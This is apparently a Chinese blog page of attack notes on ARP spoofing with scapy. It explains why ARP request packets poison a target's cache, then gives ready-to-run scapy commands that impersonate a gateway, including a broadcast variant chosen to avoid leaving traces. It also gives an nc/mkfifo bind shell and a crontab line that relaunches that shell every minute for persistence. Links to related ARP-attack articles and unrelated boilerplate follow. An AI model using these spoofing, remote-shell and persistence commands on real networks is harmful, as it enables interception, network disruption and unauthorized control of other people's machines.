scapy 中的ARP
scapy 常用命令
ls() //查看支持的协议对象
lsc() //查看函数
show() //查看数据包结构
send() //三层发包
sr() //三层收发
sr1() //三层收发只收一 timeout指定超时 verbose指定详情
sendp() //二层发包
srp() //二层收发
srp1() //二层收发只收一 timeout指定超时 verbose指定详情
为什么选用op=1(who has)能欺骗成功, 而op=2(is-at)无法欺骗成功?
分析:
使用whohas 时,攻击机发送 who has 192.168.10.66 tell 192.168.10.1
所以当66主机接受到该询问包时,就会记录发送请求的 源IP 和 源MAC ,
而源IP是假的, 所以欺骗成功
而 使用is-at时,攻击机先询问 who has 192.168.10.66 tell 192.168.10.16
16是攻击机,所以此时目标66收到该询问包时就已经记录了 192.168.10.16 和 16的MAC
地址映射,而后发送的 192.168.10.1 is at 16的MAC 就已经没有用了
总结:
ARP欺骗一台主机,只有通过发送ARP请求包,对方才收到请求自己的MAC地址时,
会把源IP和源MAC映射记录,这一过程是欺骗的关键,也就是被动欺骗,通过op=2
主动和对方说某IP是某MAC地址这样的方式是不会被记录的。
为什么欺骗成功后,自己的真实的IP-MAC会被目标记录
因为如果直接ARP发包,不指名 Ether包,系统默认会先去请求目标端mac地址
这个过程就被记录了真实的,然后通过返回的目标mac构造第二层数据帧来发送
只要自己发送广播帧,就可以避免请求查询mac地址的这一过程,从而避免漏出痕迹
下面发包不带痕迹清理
send(ARP(psrc="192.168.10.1", pdst="192.168.10.66"));
下面是两个有效的发包(带痕迹清理)
监听模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.1", pdst="192.168.10.66"))
防护模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.16", hwsrc="8c:89:a5:8f:4a:d7", pdst="192.168.10.66"))
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
----------------------------------------------------------------
crontab -e
* * * * * sleep 0;cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
每分钟执行一次命令
scapy 中的ARP的更多相关文章
- scapy构造打印ARP数据包
ARP格式: 用于以太网的ARP请求/应答分组格式 各字段含义: 帧类型:表示数据部分用什么协议封装(0800表示IP,0806表示ARP,8035表示RARP). 硬件类型:表示硬件地址的类型(其中 ...
- 工作总结:将电脑中的ARP缓存清空黑屏命令
ARP -d 将电脑中的ARP缓存清空ARP-a 查看arp缓存arp-s ip与mac绑定
- python通过scapy模块进行arp断网攻击
前言: 想实现像arpsoof一样的工具 arp断网攻击原理: 通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量.攻击者 只要持续不断发送arp包就能造成中间人攻击或者断网攻击. ...
- TKE 容器网络中的 ARP Overflow 问题探究及其解决之道
作者朱瑜坚,腾讯云后台开发工程师,熟悉 CNI 容器网络相关技术,负责腾讯云 TKE 的容器网络的构建和相关网络组件的开发维护工作,作为主力开发实现了 TKE 下一代容器网络方案. 1. 问题背景 1 ...
- scapy 中sniff指定的数据包并打印指定信息
在理解这篇文章前可以先看看这两篇文章: https://www.cnblogs.com/liyuanhong/p/10925582.html https://www.cnblogs.com/liyua ...
- python scapy中sniffer的用法以及过滤器
Sniff方法定义: sniff(filter="",iface="any", prn=function, count=N) 1.filter的规则使用 Ber ...
- 网络安全-主动信息收集篇第二章-二层网络扫描之scapy
scapy是python第三方库文件,可以使用python进行调用也单独进行使用. 非常强大可以用于抓包.分析.创建.修改.注入网络流量. 使用scapy 详细使用方式可以查看github:https ...
- 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现
邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...
- Python scapy 实现一个简易 arp 攻击脚本
原文链接:http://www.jianshu.com/p/df5918069612 scapy 是 python 写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常 ...
随机推荐
- net use错误原因解决(精辟)(转)
(1)"发生系统错误 1326. 登录失败: 未知的用户名或错误密码." 在远程机的"控制面板-文件夹选项-查看-简单的文件共享",去掉选取,然后再尝试连接 ...
- 关于Unity中NGUI的Pivot和锚点
Pivot 1.创建一个Sprite类型的Sprite1节点,关联一个图集和一张贴图,用图中的六个按钮调整这个贴图的Pivot点,一共有八个点可以选择 2.再创建一个Sprite类型的Sprite2节 ...
- python安装模块
pychram安装模块,非常简单!
- Python内置类型——dict
Python中, 字典是容器,所以可以使用len()方法统计字典中的键值对的个数: 字典是可迭代的,迭代的依据是字典中的键. in, not in 等运算符判断指定的键是否在字典中: 如果索引一个字典 ...
- 纯CSS3冒泡动画按钮实现教程
这款CSS3动画按钮非常的有创意,鼠标在滑过按钮时并不像其他按钮那样仅仅改变按钮的背景颜色,而是出现很酷的冒泡动画.这么惊艳的CSS3动画按钮,这篇文章主要将按钮实现的过程和代码分享给大家,希望能给在 ...
- 【12月21日】A股滚动市盈率PE历史新低排名
2010年01月01日 到 2018年12月21日 之间,滚动市盈率历史新低排名.上市三年以上的公司,2018年12月21日市盈率在300以下的公司. 1 - 厦门象屿(SH600057) - 历史新 ...
- [Unity3D] 05 - Access to DB or AWS
可以选择连接本地服务器,或者云服务器. 参考源代码 : https://www.cnblogs.com/wuzhang/p/wuzhang20141202.html (1) 功能:点击一下按键,然后访 ...
- Elasticsearch 学习之不停止服务,完成升级重启维护操作
我们可以设置集群的平衡参数来暂时禁用掉平衡,具体步骤如下: 1.如果可能的话,先暂停掉数据新增和更新操作,这样会提高集群恢复的时间: 2.禁用集群分片平衡操作,直到告诉集群可以恢复平衡操作为止,禁用配 ...
- A - Wall
Once upon a time there was a greedy King who ordered his chief Architect to build a wall around the ...
- php中memcached的使用
文档所在:http://php.net/manual/zh/book.memcached.php 1.在php使用memcached操作之前要实例化memcached: [系统类] 2.添加服务器: ...